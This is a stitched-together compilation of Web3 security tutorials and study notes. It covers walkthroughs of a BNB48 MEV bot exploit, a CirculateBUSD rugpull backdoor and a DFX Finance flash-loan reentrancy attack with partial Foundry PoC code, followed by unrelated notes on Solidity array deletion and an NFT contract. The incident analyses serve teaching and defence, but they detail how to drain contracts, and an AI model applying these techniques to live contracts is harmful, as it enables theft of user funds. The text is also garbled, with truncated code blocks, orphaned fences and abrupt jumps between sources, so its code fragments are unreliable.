[Ethers极简入门: 25. Flashbots](https://github.com/WTFAcademy/WTF-Ethers/tree/main/25_Flashbots)

## Write PoC step by step - Take MEV Bot (BNB48) as an example

- Recap
    - On 20220913 A MEV Bot was exploited by an attacker and all the assets on the contract were transferred away, with a total loss of about $140K.
    - The attacker sends a private transaction through the BNB48 validator node, similar to Flashbot not putting the transaction into the public mempool to avoid being Front-running.
- Analysis
    - Attacker's [TXID](https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2)，We can see that the MEV Bot contract was unverify which was not open source，How did the attacker exploit it?
    - Using [phalcon](https://phalcon.blocksec.com/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2) to check，from the part of funs flow within this transaction, MEV bot transferred 6 kinds of assets to the attacker’s wallet, How did the attacker exploit it?
![圖片](https://user-images.githubusercontent.com/52526645/211201079-e7c5cc3b-64f8-4146-ab0e-7dd46b535cc9.png)
    - Let’s look at the invocation

process of Function call, and see that the `pancakeCall` function wss called exactly 6 times.
        - Attacker's contract: `0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1`
        - MEV Bot contract: `0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d`
 ![圖片](https://user-images.githubusercontent.com/52526645/211201456-8b6f7bca-677d-40a2-b81b-fd6af18f94fd.png)
    - Let's expand one of the `pancakeCall` to see, we can see that the callback to the attacker's contract reads the value of token0() as BSC-USD, and then transfers BSC-USD to the attacker's wallet, see this While we can know that the attacker may have the permission or use a vulnerability to move all the assets on the MEV Bot contract, the next step we need to find out how the attacker uses it?
    ![圖片](https://user-images.githubusercontent.com/52526645/211201744-9895803a-5f72-4f14-b147-b67b204bee75.png)
    - Because it was mentioned earlier that the MEV Bot contract is not open source, so here we can use [Lesson 1](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools)introduced decompiler tool

[Dedaub](https://library.dedaub.com/decompile), Let's analyze and see if we can find something. First copy the bytecodes of the contract from [Bscscan](https://bscscan.com/address/0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d#code) and paste to Dedaub to decompile it, As shown in the figure below, we can see that `pancakeCall` function permission is set to public, and everyone can call it. It is normal and should not be a big problem in the callback of Flash Loan, but you can see the red framed place, execute a `0x10a` function, and then let's look down.
    ![圖片](https://user-images.githubusercontent.com/52526645/211202573-b4a4847d-a617-42c8-84d0-0f2dbd38a632.png)
   - The logic of `0x10a` function is as shown in the figure below. You can see the key point in the red framed place. First read what token is in token0 on the attacker’s contract and then bring it into the transfer function `transfer`. In the function, the first parameter receiver address `address(MEM[varg0.data])` is in `pancakeCall` `varg3 (_data)` which can be controlled, so the key vulnerability problem is here.
          
<img

src="https://user-images.githubusercontent.com/52526645/211204177-fbebe377-23b0-4b0c-bb3e-dcb64dba2afc.png" alt="Cover" width="80%"/>
</div>

   - Looking back at the payload of the attacker calling `pancakeCall`, the first 32 bytes of the input value in `_data` is the wallet address of the payee.

</div>

- Writing POC
   - After analyzing the attack process above, the logic of writing the POC is to call the `pancakeCall` of the MEV bot contract and then bring in the corresponding parameters. The key is `_data` to specify the receiving wallet address, and then the contract must have token0, token1 Function to satisfy the contract logic. You can try to write it yourself.
    - Answer: [POC](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/BNB48MEVBot_exp.sol).
    
</div>

## Extended learning
-

Foundry trace
    - The function traces of the transaction can also be listed using Foundry, as follows:
    
</div>

    - You can also use Foundry to debug transaction, as follows:
    
</div>

[MEV Markets Part 2: Proof

of Stake](https://mirror.xyz/0xshittrader.eth/c6J_PCK87K3joTWmLEtG6qVN6BFXLBZxQniReYSEjLI)

# OnChain Transaction Debugging: 5. Analysis for CirculateBUSD Project Rugpull, Loss of $2.27 Million!

Author: [Numen Cyber Technology](https://twitter.com/numencyber)

## 前言
根据NUMEN链上监控显示，新加坡时间2023年1月12日下午 14:22:39 ，CirculateBUSD项目跑路，损失金额227万美金。该项目资金转移主要是管理员调用`CirculateBUSD.startTrading`，并且在startTrading里面的主要判断参数是由管理员设置的未开源合约`SwapHelper.TradingInfo`返回的数值，之后调用`SwapHelper.swaptoToken`转走资金。

<img src="https://user-images.githubusercontent.com/107821372/212806617-33a2e763-754b-4682-baef-d78bccdbcbaa.png" alt="Cover" width="80%"/>
</div>

### 事件分析

* 首先调用了合约的`startTrading`，在函数内部调用了[SwapHelper合约](https://bscscan.com/address/0x9639d76092b2ae074a7e2d13ac030b4b6a0313ff)的`TradingInfo`函数，详细代码如下。

 <div align=center>
 <img src="https://user-images.githubusercontent.com/107821372/212807067-c3dfccde-6a26-4bb0-96e8-9a1141b88fc6.png" alt="Cover" width="80%"/>
 </div>

---
 <img src="https://user-images.githubusercontent.com/107821372/212807682-d99be725-a9a9-41a9-a380-329413af4b2f.png" alt="Cover" width="80%"/>
 </div>

 上图是tx的调用栈，结合代码可知`TradingInfo`里面只是一些静态调用，关键问题不在这个函数。继续往下分析，发现调用栈中的`approve`操作和`safeapprove`对应上。接着又调用了SwapHelper的`swaptoToken`函数，结合调用栈发现这是个关键函数，转账交易在这个`call`里面执行的。通过链上信息发现`SwapHelper`合约并不开源，具体地址如下：https://bscscan.com/address/0x112f8834cd3db8d2dded90be6ba924a88f56eb4b#code

* 尝试逆向分析一下。
  1. 首先定位函数签名`0x63437561`。
  <div align=center>
  <img src="https://user-images.githubusercontent.com/107821372/212841887-76fcfd50-81a4-4929-98f4-855dee1ec7ea.png" alt="Cover" width="80%"/>
  </div>
 
  2. 定位到这个反编译之后的函数，因为看到调用栈触发了转账，所以尝试寻找`transfer`等关键字。
  <img src="https://user-images.githubusercontent.com/107821372/212847664-c7b75363-38c1-422b-81f9-3ecdd669e9f8.png" alt="Cover" width="80%"/>
  </div>
  
  3. 于是定位到函数的这一分支，首先`stor_6_0_19`，先把这部分读出来。
  <img src="https://user-images.githubusercontent.com/107821372/212848157-38e7cb71-cf37-48c1-82b3-97122293f935.png" alt="Cover" width="80%"/>
  </div>
  
  4. 此时获得了转账`to`地址，`0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7`，
  发现该地址和调用栈的转账`to`地址一致。
  <img

src="https://user-images.githubusercontent.com/107821372/212848482-fcc3cc17-8719-4f58-ab3d-c26ffd256b45.png" alt="Cover" width="80%"/>
  </div>
  
  5. 仔细分析这个函数的if和else分支，发现如果走if是正常兑换。因为通过插槽得到`stor5`是`0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e`，这个合约是`pancakerouter`。后门函数在`else`分支，只要传入的参数和`stor7`插槽存放的值相等即可触发。
  
  <img src="https://user-images.githubusercontent.com/107821372/212848758-b9590cc6-e750-4208-9a92-b000af150e99.png" alt="Cover" width="80%"/>
  </div> 
  
  6. 这个函数就是修改插槽7位置的值，而且调用权限只有合约的owner可以。
  
  <img src="https://user-images.githubusercontent.com/107821372/212848982-42624cef-df94-4f10-bf51-4b8816b6c452.png" alt="Cover" width="80%"/>
  </div> 
  
  以上所有分析足以判断这是一个项目方跑路事件。

## 总结
NUMEN实验室提醒用户投资的时候需要对项目方的合约进行安全审计，未验证的合约中可能存在项目方权限过大或者直接影响用户资产安全的功能。这个项目存在的问题只是整个区块链生态的冰山一角，用户投资和项目方开发项目时一定对代码进行安全审计，NUMEN专注于为web3生态安全保驾护航。

Jan-12–2023 07:22:39 AM +UTC， according to NUMEN on-chain monitoring, CirculateBUSD project has been drained by the contract creator, causing a loss of 2.27 million dollars.

The fund transfer of this project is mainly because the administrator calls CirculateBUSD.startTrading, and the main judgment parameter in startTrading is the value returned by the non-open source contract SwapHelper.TradingInfo set by the administrator, and then calls SwapHelper.swaptoToken to transfer funds.

Transaction：[https://bscscan.com/tx/0x3475278b4264d4263309020060a1af28d7be02963feaf1a1e97e9830c68834b3](https://bscscan.com/tx/0x3475278b4264d4263309020060a1af28d7be02963feaf1a1e97e9830c68834b3)

<img src="https://miro.medium.com/max/1400/1*fLhvqu5spyN0EIycnFNqiw.png" alt="Cover" width="80%"/>
</div>

**Analysis:**
=============

Firstly, it calls contract startTrading

([https://bscscan.com/address/0x9639d76092b2ae074a7e2d13ac030b4b6a0313ff](https://bscscan.com/address/0x9639d76092b2ae074a7e2d13ac030b4b6a0313ff)), and inside the function the SwapHelper contract’s TradingInfo function is called, with the following details The code is as follows.

<img src="https://miro.medium.com/max/1400/1*2LithcaYFRGcqls5IY_83g.png" alt="Cover" width="80%"/>
</div>

---

<img src="https://miro.medium.com/max/1400/1*XbJHPldO3T-9frrr0SQrHA.png" alt="Cover" width="80%"/>
</div>

The above figure is the call stack of tx. Combined with the code we can see that TradingInfo inside only some static calls, the key problem is not in this function. Continuing with the analysis, we found that the call stack is corresponding to the approve operation and safeapprove. Then SwapHelper’s swaptoToken function was called, which was found to be a key function in combination with the call stack, and the transfer transaction was executed in this call. The SwapHelper contract is not open source as found by the on-chain information at the following

address.

[https://bscscan.com/address/0x112f8834cd3db8d2dded90be6ba924a88f56eb4b#code](https://bscscan.com/address/0x112f8834cd3db8d2dded90be6ba924a88f56eb4b#code)

Try to reverse the analysis， we firstly locate the function signature 0x63437561.

<img src="https://miro.medium.com/max/1400/1*i7kEvPo_8gYbNs9UGlo-KA.png" alt="Cover" width="80%"/>
</div>

Afterward, we located this function after decompiling and tried to find keywords such as transfer because you see that the call stack triggers a transfer.

<img src="https://miro.medium.com/max/1400/1*n8BEIqfn0tZ6plky2MFd7w.png" alt="Cover" width="80%"/>
</div>

So locate this branch of the function, first stor\_6\_0\_19, and read that part out first.

<img src="https://miro.medium.com/max/1400/1*ZGTqmc1sIz2_onKUT6-56Q.png" alt="Cover" width="80%"/>
</div>

At this point , the transfer to address was obtained, 0x0000000000000000000000005695ef5f2e997b2e142b38837132a6c3ddc463b7, which was found to be the same as the transfer to address of the call stack.

<img

src="https://miro.medium.com/max/1400/1*v37FEiN6L-0Nwn5OtbDgxQ.png" alt="Cover" width="80%"/>
</div>

When we analyzed the if and else branches of this function carefully, we found that if meet the if condition, then it will do normal redemption . Because through the slot to get stor5 is 0x00000000000000000000000010ed43c718714eb63d5aa57b78b54704e256024e, this contract is pancakerouter. backdoor function in the else branch, as long as the parameters passed in and stor7 slot stored value equal to trigger.

<img src="https://miro.medium.com/max/1400/1*xlYEmp6nsdLA85FUmANxfw.png" alt="Cover" width="80%"/>
</div>

Below function is to modify the value of the slot 7 position, and the call permission only owned by the owner of the contract.

<img src="https://miro.medium.com/max/1400/1*lHLaCA9HM1HtmL3pXYxltw.png" alt="Cover" width="80%"/>
</div>

All the above analysis is enough to determine that this is a project side run event.

Summary
=======

Numen Cyber Labs remind users that when do investment, it’s necessory to conduct security audits on the project’s contracts. There may be functions in the

unverified contract where the project’s authority is too large or directly affects the safety of the user’s assets. The problems with this project are just the tip of the iceberg of the entire blockchain ecosystem. When users invest and project parties develop projects, they must conduct security audits on the code.

Numen Cyber Labs is committed to protecting the ecological security of Web3. Please stay tuned for more latest attack news and analysis.

# OnChain Transaction Debugging: 6. Write Your Own PoC (Reentrancy)

Author: [gbaleeee](https://twitter.com/gbaleeeee)

在本次教学中，我们将带你实际分析一个重入攻击事件，并逐步带你利用 Foundry 测试框架撰写代码，完成 Reproduce PoC。

1. 了解常见智能合约漏洞样态，可以参考 [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs) 进行练习。
2. 了解 DeFi 基础建设如何运作，以及智能合约与智能合约之间如何互动。

## 重入攻击相关概念介绍

来自Consensys的一篇对重入攻击介绍的文章：[Reentrancy](https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/)

重入攻击是区块链世界中广泛存在一种攻击手法，在DeFiHackLabs库中搜索，你会发现几乎每月都会发生重入攻击的事件。同时有一个精彩的Github项目 [reentrancy-attacks](https://github.com/pcaversaccio/reentrancy-attacks)，专门收录现实中发生的重入攻击。  
对于重入攻击的攻击模式简单概括：当一个函数对另一个不受信任的合约进行外部调用时，重入攻击就有可能发生。

目前可以将重入攻击分为三种类型
1. 单函数重入 (Single Function Reentrancy)
2. 跨函数重入 (Cross-Function Reentrancy)
3. 跨合约重入 (Cross-Contract Reentrancy)

## 手把手撰写 PoC - 以 DFX Finance为例

- 信息来源  
  2022.11.11，根据Peckshield的 [推文](https://twitter.com/peckshield/status/1590831589004816384)，由于缺乏重入保护，DFX Finance的DEX池遭到攻击，损失约为$400万。其中一笔交易为

[TX](https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7)

- 交易概览  
  根据这笔交易链接，我们能够在etherscan中观察到这笔交易的一些信息，但收获是有限的，只有交易的sender，调用的合约，代币转移过程中发出的事件等。不过值得注意的是，这笔交易被打上了MEV Transaction和Flashbots 的标签，这是攻击为避免自己的攻击交易被front-run机器人抢跑所采取的措施。  
  
  ![image](https://user-images.githubusercontent.com/53768199/215320542-a7798698-3fd4-4acf-90bf-263d37379795.png)  
  
- 交易分析  
  为了进一步分析这起攻击交易，可以使用BlockSec Team的 [Phalcon](https://phalcon.blocksec.com/tx/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7) 分析工具进行研究。  
  
- Balance 分析  
  在Balance Changes一栏我们可以看到这笔交易所带来的资金变化，被标记为receiver即攻击合约收获了大量的USDC，XIDR代币，命名为dfx-xidr-v2的合约损失了大量的USDC,XIDR代币，同时0x27e8开头的地址也收获了一些USDC,XIDR的代币，根据对这个地址的调查，我们可以知道，这个地址为DFX Finance项目的多签钱包地址。
  
  ![image](https://user-images.githubusercontent.com/53768199/215320922-72207a7f-cfac-457d-b69e-3fddc043206b.png)  
  
  通过对Balance Changes中的资金变化可以知道，这次攻击交易是攻击者对DFX Finance的dfx-xidr-v2合约进行了攻击，窃取了USDC,XIDR代币。对于多签钱包地址在攻击的过程中也收到了部分USDC,XIDR代币这一变化，根据经验分析，这往往是合约功能交互过程中收取手续费所造成的。  
  
- 资金流向  
 
 在对攻击交易的进一步分析之前，我们可以通过BlockSec Team的另一个工具 [metasleuth](https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7)来分析这笔攻击交易中的资金流动，帮助我们观察其中的代币转移情况。
  ![image](https://user-images.githubusercontent.com/53768199/215321213-7ead5043-1410-4ab6-b247-1e710d931fe8.png)
  根据图中的信息，被标记为exploiter的地址先在1，2步操作中从被攻击的合约中借出大量USDC，XIDR代币，随后在3，4步操作中将USDC,XIDR代币发送回给被攻击合约，随后，名为dfx-xidr-v2的代币从0地址被铸造给攻击者，标记为DFX Finance的多签钱包地址也收到了USDC,XIDR代币。最后dfx-xidr-v2代币又发送给0地址销毁。  
  可以总结出攻击过程中的代币流向是  
  
  1.从被攻击合约中取出代币USDC,XIDR  
  2.将USDC,XIDR代币发送给被攻击合约  
  3.攻击者铸造名为dfx-xidr-v2的代币  
  4.多签钱包地址收到代币USDC,XIDR  
  5.攻击者销毁名为dfx-xidr-v2的代币  
  
  这些信息可以在接下来的Call Trace分析环节中进行分析与验证  
  
- Trace分析  
  在展开级别为2的情况下，对这笔交易的函数调用过程进行观察  
  
  ![image](https://user-images.githubusercontent.com/53768199/215321768-6aa93999-9a77-4af5-b758-dd91f7dc3973.png)  
  
  可以看出整个攻击交易中的函数执行流程为：  
  1.攻击者调用攻击合约中函数选择器Hash为0xb727281f的函数，在这个函数中执行攻击流程  
  2.staticcall调用dfx-xidr-v2合约中的viewDeposit函数  
  3.call调用dfx-xidr-v2合约中的flash函数，值得注意的是在这个函数调用内完成了对攻击合约中的一次函数选择器Hash为0xc3924ed6的回调操作  

 ![image](https://user-images.githubusercontent.com/53768199/215322039-59a46e1f-c8c5-449f-9cdd-5bebbdf28796.png)  
  
  4.call调用dfx-xidr-v2合约中的withdraw函数

- 详细分析  
  对于攻击者第一步调用viewDeposit函数的意图，可以通过viewDeposit Function的代码实现以及注释获得，攻击者希望获取存入200_000 * 1e18个稳定币(DFX Finance中为dfx-xidr-v2代币)所需要的两种代币的数量。  
  
  ![image](https://user-images.githubusercontent.com/53768199/215324532-b441691f-dae4-4bb2-aadb-7bd93d284270.png)  
  
  可以在下一步攻击者调用合约中的flash函数中观察到，攻击者将调用viewDeposit函数的返回值的相近值作为参数传入(不等原因后面解释)
  
  ![image](https://user-images.githubusercontent.com/53768199/215329296-97b6af11-32aa-4d0a-a7c4-019f355be04d.png)
  
  对于攻击者第二步调用被攻击合约flash函数，我们通过它的代码实现来了解其作用  
  
  ![image](https://user-images.githubusercontent.com/53768199/215329457-3a48399c-e2e1-43a8-ab63-a89375fbc239.png)  
  
  可以看出，flash函数是类似于Uniswap v2中闪电贷功能的实现，用户可以通过这个函数从合约中闪电贷出资金。同时可以看到，flash函数中存在一处对调用者的函数回调操作，对应代码为
  IFlashCallback(msg.sender).flashCallback(fee0, fee1, data);
  ```
  这处代码的外部调用对应着之前Call Trace图中对于攻击合约的函数回调，可以通过计算这个函数的4Bytes Hash进行验证，正是0xc3924ed6 
 
 ![image](https://user-images.githubusercontent.com/53768199/215329899-a6f2cc00-f2ac-49c8-b4df-38bb24663f37.png)  
  
  ![image](https://user-images.githubusercontent.com/53768199/215329919-bbeb557d-41d0-47fb-bdf8-321e5217854e.png)  
  
  对于最后一步调用函数withdraw，根据被攻击合约中函数的实现代码以及注释可以看出，是完成了销毁稳定币，取回对应的两种代币的操作
  
  ![image](https://user-images.githubusercontent.com/53768199/215330132-7b54bf35-3787-495a-992d-ac2bcabb97d9.png)  
    
- POC撰写
  这时，我们能够写出POC代码的主要框架
  contract EXP {
      uint256 amount;
      function testExploit() public{
        uint[] memory XIDR_USDC = new uint[](2);
        XIDR_USDC[0] = 0;
        XIDR_USDC[1] = 0;
        ( , XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18);
        dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee
        dfx.withdraw(amount, block.timestamp + 60);
    }

    function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
        /*
        xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
        */
    }
  }
  ```
  此时，很容易产生这样的疑问，攻击者是如何在只进行了闪电贷的情况下，调用了合约中的withdraw函数，将合约中的资金盗走？显而易见的，目前攻击者唯一能操作的地方，只有闪电贷过程中所执行的Callback回调，对其展开进行分析
  
 ![image](https://user-images.githubusercontent.com/53768199/215330695-1b1fa612-4f01-4c6a-a5be-7324f464ecb1.png)
  
  可以看见，攻击者正是在这一步调用了被攻击合约中的deposit函数，分析其代码及注释，可以看出它完成了一个发送铸造稳定币所需资产代币给合约后获取curves代币的操作，结合上图中USDC，XIDR的transferFrom函数调用，可知是将USDC，XIDR代币发送给了被攻击合约。  
  
  ![image](https://user-images.githubusercontent.com/53768199/215330576-d15642f7-5819-4e83-a8c8-1d3a48ad8c6d.png)
  
  此时，结合flash函数中对于闪电贷是否能够完成的判断语句代码，可知它是通过检查合约中对应的代币资产在闪电贷回调执行后是否大于等于执行之前来判定的，deposit函数执行流程中的USDC,XIDR代币发送操作正好满足了这一要求。
  require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned');
  require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned');
  ```
  值得注意的是，为了满足flash函数中对于手续费收取的相关要求，攻击者存入的USDC,XIDR代币数量略高于之前从flash函数中闪电贷所得，多出的这一部分代币将在flash函数中的后续执行操作中，发送给DFX Finance的多签钱包。攻击者在发起这次攻击之前准备了一些USDC,XIDR代币作为flash手续费，通过deposit函数发送给被攻击合约的数量为flash闪电贷出的代币加上手续费代币之和，这样在完成deposit操作的同时也能够完成flash函数中的检查。
  如此，攻击者通过在闪电贷的回调函数中对被攻击合约的deposit操作，满足了闪电贷的检查条件，同时还在被攻击合约中记录为deposit后的状态，可以在后一步操作中进行withdraw操作取出代币。  
 
 对整个攻击流程进行梳理，它的步骤为  
  1.提前准备一些USDC,XIDR代币
  2.调用viewDeposit函数，获取后续deposit操作所需要的代币数量   
  3.根据上一步获取的数值，调用被攻击合约的flash函数获取USDC,XIDR代币  
  4.在flash函数中的回调中，调用被攻击合约的deposit函数，将USDC,XIDR代币发送回给被攻击合约，完成重入  
  5.由于上一步进行了deposit操作，直接调用被攻击合约的withdraw函数取走代币  

  完成整个POC代码：  
    }

      function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
        (amount, ) = dfx.deposit(200_000 * 1e18, block.timestamp + 60);
    }
  }
  ```
  
  更为详细完整的代码在DefiHackLabs库中：[DFX_exp.sol](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/DFX_exp.sol)
  
- 验证Fund flow  
  这时，我们可以通过攻击交易中代币发出的事件来对之前资金流动图进行验证
  
  ![image](https://user-images.githubusercontent.com/53768199/215331469-e1edd9b4-5147-4f82-9e38-64edce3cc91f.png)

  deposit函数执行过程中最后发出的事件验证之前dfx-xidr-v2的代币从0地址被铸造给攻击者
  
 ![image](https://user-images.githubusercontent.com/53768199/215331545-9730e5b0-564d-45d8-b169-3b7c8651962f.png)

  flash函数执行过程中最后USDC，XIDR的转移事件(闪电贷手续费收取)对应DFX Finance多签钱包收到一些USDC,XIDR代币
  
  ![image](https://user-images.githubusercontent.com/53768199/215331819-d80a1775-4056-4ddd-9083-6f5241d07213.png)

  withdraw函数执行过程中最后发出的事件对应之前dfx-xidr-v2代币发送给0地址销毁
  
- 总结  
  DFX Finance的重入攻击事件是一起典型的cross-function重入攻击，攻击者通过在falsh函数的回调操作中调用deposit函数完成了重入。值得一提的是，这次攻击的手法，正好对应了CTF damnvulnerabledefi中的第四题 [Side Entrance](https://www.damnvulnerabledefi.xyz/challenges/side-entrance/)，如果项目的开发人员之前有认真做过，或许这次攻击事件就不会发生🤣。在同年的12月中，[Deforst](https://github.com/SunWeb3Sec/DeFiHackLabs#20221223---defrost---reentrancy) 项目也被同样的手法所攻击。
  
## 学习资源  
[Reentrancy Attacks on Smart Contracts Distilled](https://blog.pessimistic.io/reentrancy-attacks-on-smart-contracts-distilled-7fed3b04f4b6)  
[C.R.E.A.M. Finance Post Mortem: AMP Exploit](https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5)  
[Cross-Contract Reentrancy

Attack](https://inspexco.medium.com/cross-contract-reentrancy-attack-402d27a02a15)  
[Sherlock Yield Strategy Bug Bounty Post-Mortem](https://mirror.xyz/0xE400820f3D60d77a3EC8018d44366ed0d334f93C/LOZF1YBcH1eBdxlC6HP223cAMeTpNgQ-Kc4EjQuxmGA)  
[Decoding $220K Read-only Reentrancy Exploit | QuillAudits](https://quillaudits.medium.com/decoding-220k-read-only-reentrancy-exploit-quillaudits-30871d728ad5)  

## WTF Solidity教程学习笔记

社区成员可以在这个专题下发表WTF Solidity教程学习笔记。

- 每份笔记都要在这个目录下新建一个文件夹。
- 命名规则
  - 文件夹名：以`Notes`起始，后面跟第几讲，最后跟你的`Github id`或昵称，例如：`Notes_01_HelloWeb3_0xAA`。如果是总结性质的笔记，则可省去某一讲的名字，并在名字中加上`Summary`，例如：`Notes_Summary_0xAA`
  - 图片存放：在你新建的笔记文件夹下新建个img文件夹，图片放在里面，例如：`Notes_01_HelloWeb3_0xAA/img/1.png`。
  - 笔记存放：存放在你新建的笔记文件夹下面的`readme.md`中。
- 笔记要求
  - 可读性好。
  - 原创，非抄袭。
  
# Solidity如何在数组中删除指定元素

Solidity中的数组相对于其他语言来说，功能很少，仅有push/pop两种功能。但是我们在实际开发中，可能会遇到删除指定元素的场景，那么这个功能改如何实现呢？

## 简单的方案(?)

在solidity中存在一个关键词叫做`delete`那么直接使用这个关键词，删除指定元素是否能解决问题呢？

pragma solidity ^0.8.9;
contract itemRemoval{
  uint[] public arrs = [1,2,3,4,5];
  function removeItem(uint i) public {
    delete arrs[i];
  }
  function getLength() public view returns(uint){
    return arrs.length;
  }
}
```

对于以上这段代码，我们尝试删除第一个元素，执行`removeItem(0)`，`arrs`将会变成这样：`[0,2,3,4,5]`，

接下来运行`getLength()`，我们将会得到结果为`5`，这是怎么回事？

> ```markdown
> ## delete
> `a` assigns the initial value for the type to `a`. I.e. for integers it is equivalent to `a = 0`
> ```

通过查阅文档，我们可以知道，在solidity语意下的删除是指将该变量恢复为默认值。这里就存在了潜在的风险，数组的长度无限增长，有可能导致gas费的持续上涨。如果代码运行下去，可能会导致gas fee直至超过上限。

如果你还觉得这样没有问题，让我们把问题扩充一下：

  uint[] public arrs = [0,1,2,3,4];
  function deleteZeroItem() public {
  	for (uint i = 0; i < arrs.length; i++) {
  		if (arrs[i] == 0) {
  			delete arrs[i];
  		}
  	}
  }
 
 }
}
```

我想实现一个可以删除元素值为0的函数，通过上面的代码，你会发现完全没有办法删除这个元素。

我们可以看到，虽然使用`delete`删除数组元素简单又节省gas，但是这样做带来的风险是不可估量的。

## 交换末尾元素

    arrs[i] = arrs[arrs.length - 1];
    arrs.pop();
  }
  }
}
```

通过将目标元素和栈尾元素交换，再将队尾元素出栈，这样做的gas花费相比较上一种会高很多，但是通过这种方式，可以将数组长度控制在指定范围，不会出现随着时间推移，数组的长度无法控制的情况。

但是这样子也不是完美无缺的，通过这样删除元素会改变数组的元素顺序，对于需要维护数组元素顺序的要求，我们应该使用以下写法：

    for (;i < arrs.length - 1; i++) {
        arrs[i] = arrs[i + 1];
      }
  }
  }
}
```

但是这样做的gas开销会非常大，因为更改一个状态的gas花费是远大于运算的，不在必要情况下，不推荐使用这种写法。

# BanaCat NFT Contract（1/3）

# 关于BanaCatNFT

BanaCat一期项目是一个部署在polygon区块链上的头像数字艺术品

![banner.png](./img/banner.png)

项目链接：[https://opensea.io/collection/banacat-v2](https://opensea.io/collection/banacat-v2)

合约源码地址：[https://polygonscan.com/address/0xd2bc5c3990c06ccd26f10a3e9d93b19450136c8d#code](https://polygonscan.com/address/0xd2bc5c3990c06ccd26f10a3e9d93b19450136c8d#code)

同时，基于这款数字艺术品也设计了配套的表情包周边，目前已经有一款已经上架到微信表情包商城，表情包链接：[香蕉猫看戏篇](https://sticker.weixin.qq.com/cgi-bin/mmemoticon-bin/emoticonview?oper=single&t=shop/detail&productid=aL2PCfwK/89qO7sF6/+I+UDhfwEjhec2ZNvdnLLJRd/N7QVyYnUnFpeB0t9OOOGqFiGlj08OJVil+/ruMQmJp3eFNlkqDVcbCJC9A4/2eWbE=)

![Untitled](./img/Untitled.png)

---

# 合约中所有的“读”函数。（函数只能读取合约的状态，但不会改变合约状态）

`balanceOf（）`：返回地址参数在本合约中所持有NFT的数量。

![Untitled](./img/1.png)

建立一个`address

https://github.com/AmazingAng/WTF-Solidity/blob/56a9e558cae6c53108f96ba180da9a41d7822159/Topics/StudyNotes/Notes_34_ERC721_ShuxunOo/ERC721实例分析1_ShuxunOo/readme.md

`到token数量的映射表，函数`balanceOf（）`检查地址的合法性的前提下，返回映射表中返回地址持有的NFT数量。

![Untitled](./img/2.png)

![Untitled](./img/3.png)

---

`baseExtension（）`：`Metadata`文件的格式说明，这里是`json`格式，所以返回`“.json”`。

![Untitled](./img/4.png)

![Untitled](./img/5.png)

baseExtension也可以在后期通过函数进行修改

![Untitled](./img/6.png)

---

`cost`：`mint`单个NFT的价格，单价是0.5ether，因为是部署到`Polygon`网络中，所以`mint`一个NFT的价格是0.5MATIC。（BanaCatNFT 一期像素猫是我的第一个NFT项目，定位为一个半公益性质的pfp项目，供交流和学习用，所以价格定得很便宜）；

不是所有的NFT项目价格都是固定，很多项目方会把定价设定成一个变量，并辅以修改变量的函数，会根据项目后期的公售情况动态调整价格。

![Untitled](./img/7.png)

![Untitled](./img/8.png)

以太坊生态货币的计量单位是WEI，1ETH = 10^18 WEI

---

`getApproved（）`：ERC721标准的核心函数之一，查询某个NFT被授权给了哪个地址。配合`approve（）`，`setApprovalForAll（）`方法实现NFT的授权操作，在下一篇文章中会举一个小例子说明。

![Untitled](./img/9.png)

通过NFT `tokenID`到`address`的映射表建立NFT编号到地址之间的映射关系，函数`getApproved（）`在检查`tokenID`的合法性之后从映射表中返回`tokenID`对应持有者地址。

![Untitled](./img/10.png)

![Untitled](./img/11.png)

一个应用的实例：

[_safeTransferFrom()使用代理转移NFT](file:./_safeTransferFrom()使用代理转移NFT.md)

---

`isApprovedForAll（）`：检查NFT的`owner`是不是把自己的当前地址的所有NFT授权给`operator`地址。

![Untitled](./img/12.png)

通过一个二级映射表，建立`( owner address ⇒ ( operator address ⇒ bool ）`的映射关系，当 `bool` 为`true`的时候表示`owner` 将自己的所有的NFT授权给 `operator` ；

  `bool`为 `false`的时候代表`owner`没有授权或者已经取消了授权。

![Untitled](./img/13.png)

![Untitled](./img/14.png)

---

`isPauseed（）`：控制`mint`活动的进行或者暂停。

![Untitled](./img/15.png)

![Untitled](./img/16.png)

![Untitled](./img/17.png)

在`mint（）`函数中会将 `isPaused` 变量作为时候开始`mint`活动的开关。

![Untitled](./img/18.png)

---

`maxMintAmount（）`：单次最大NFT铸造数量，默认是5.

![Untitled](./img/19.png)

![Untitled](./img/20.png)

是个变量，可以在后续的`setmaxMintAmountOneTime（）`修改。

![Untitled](./img/21.png)

---

`maxSupply（）`：当前项目还可以`mint`的NFT数量，BanaCat NFT一期的NFT总量我也写到合约里了，自己去看看吧~（数量跟我自己还有一些关系）。

![Untitled](./img/22.png)

---

`name（）`：`Metadata.sol`中声明的关于项目名称的变量，`symbol`原理类似。

![Untitled](./img/23.png)

![Untitled](./img/24.png)

![Untitled](./img/25.png)

![Untitled](./img/26.png)

`name`，`symbol`

会在合约的构造函数中被初始化。

![Untitled](./img/27.png)

![Untitled](./img/28.png)

---

